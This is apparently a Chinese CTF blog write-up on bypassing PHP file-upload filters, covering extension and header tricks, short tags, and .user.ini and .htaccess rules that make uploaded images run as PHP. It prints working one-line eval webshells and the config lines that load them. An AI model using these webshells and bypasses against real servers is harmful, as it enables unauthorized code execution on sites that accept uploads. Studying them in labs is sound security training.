ctf web中的文件上传绕过之.htaccess与.user.ini的应用

一、引入题-upload1- 修改后缀绕过前端

这题就是一道非常简单的文件上传题。前几天做的时候还只是会了这一种方法,今天在做另外一道题目的时候有get到了很多新的解题姿势。先复习一下这题:

之前做的时候就知道是这样做的,但是却不知道为什么这样做

原理

因为抓包的时候的response就会发现部分源码,这在文件上传类型题中属于是前端检测,所以想要绕过前端检测的话就很简单,基本上就是先发一个正常的文件上去,然后在request头里面改成我们想要的格式与内容就可以了

二、easyupload - 利用.user.ini 绕过后端

这题我主要参考了这篇博客攻防世界-web-easyupload-CSDN博客

回到easyupload这道题本身上来。进入环境

并没有提示需要上传什么样的文件

然后我就在网上一顿搜索,然后各种试,发现怎么都无法成功绕过,最后没办法看的题解,发现是只要含有php就会报错。而题解给出的应对方法是php的短标签

短标签

1
<?=eval($_POST['a']);?>

但是其实这是echo的简写,也就是<?php echo的简写,如下图。其实还有另一种简写,如下图的第三个方式,但是这种方式容易被限制,本题就是被限制了,只能使用上面那种方法。

后缀加.绕过

这题由于对文件名进行了限制,所以普通的在request界面改后缀为.php是无法成功传入文件的。但是如果后缀是.php.就可以通过检测。我猜测他的后端代码是检测第一个.后面的字符串,而win系统中会自动忽略第二个.,所以也可以实现文件上传。但是这样下来还有一个问题,就是这题只有index.php可以访问,其他的php文件均不可以访问,所以只能利用.user.ini方法了。

大写绕过

但是本题还有另一种绕过方法,经过我的测试我发现只有在文件名字上是不分大小写的限制php,而正文内容则只限制小写php,又因为php中的并不区分大小写,所以我们可以将一句话木马改成下面即可。

1
<?PHP eval($_POST['ant']); ?>

文件头绕过

但是绕过了对内容的检测,发送过去的时候发现还有限制,提示我们的文件类型有问题。我们已知是图片格式就行,而此时已经有了相关的请求头,没有别的估计就只差一个请求头了。这里我们加上GIF89a的文件头。很奇怪这是gif的文件头,但是我上传的类型是jpg的,也可以通过检测,但是如果加的是jpg的文件头就不行。这是一个问题。。

反正加上文件头之后就可以上传成功了。这时候就可以肆无忌惮的传我们的文件了。

.user.ini的利用姿势

主要参考这篇讲.user.ini原理的博客.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)

原理很简单,就是说如果在文件夹下已有正常的可以打开的php文档,就可以利用.user.ini来进行getshell。

而这题符不符合呢?答案是非常符合。在抓包的时候我就发现了在上传文件夹下有index.php文件,天真的我以为是给的检测源码,但是打开却发现全是乱码,根本看不了,估计就是出题人故意告诉你可以用.user.ini方法的。

而关于为什么不用.htaccess方法,下面我会再讲。继续这题

我们就可以根据之前的文件头先构建.user.ini,如下

主要代码是,使得打开其他的php文件时会自动包含02.jpg

1
auto_prepend_file=02.jpg

接下来就是构造02.jpg,如下,传入一句话木马

这样就可以连接蚁剑了,在上层目录中获得flag

三、利用.htaccess的文件上传

这个知识点我在攻防世界上并没有找到类似的题目,只能去ctfhub上开启一道简单的应用题了。如下

进入环境并且抓包,发现部分源码。发现设置了黑名单,但是没有限制.htaccess。所以我们可以利用这个来实现文件上传

利用姿势

从网上搜到的常规利用方法如下,主要就是一句话代码:

1
AddType application/x-httpd-php .png

这句话的意思就是使得之后服务器中的所有png文件都以php进行解析。也就是可以把png文件当做php来用,这就很无赖了啊。

这里我们也可以知道为啥上一道题不可以利用htaccess了,因为这句话代码里面含有php,会被过滤掉,所有不在考虑范围内。

回到这题,根据上面的先构造.htaccess,如下

然后构造jpg文件,里面内容就是一句话木马

全部上传完之后就可以蚁剑直连了!

然后获取到flag

本文完。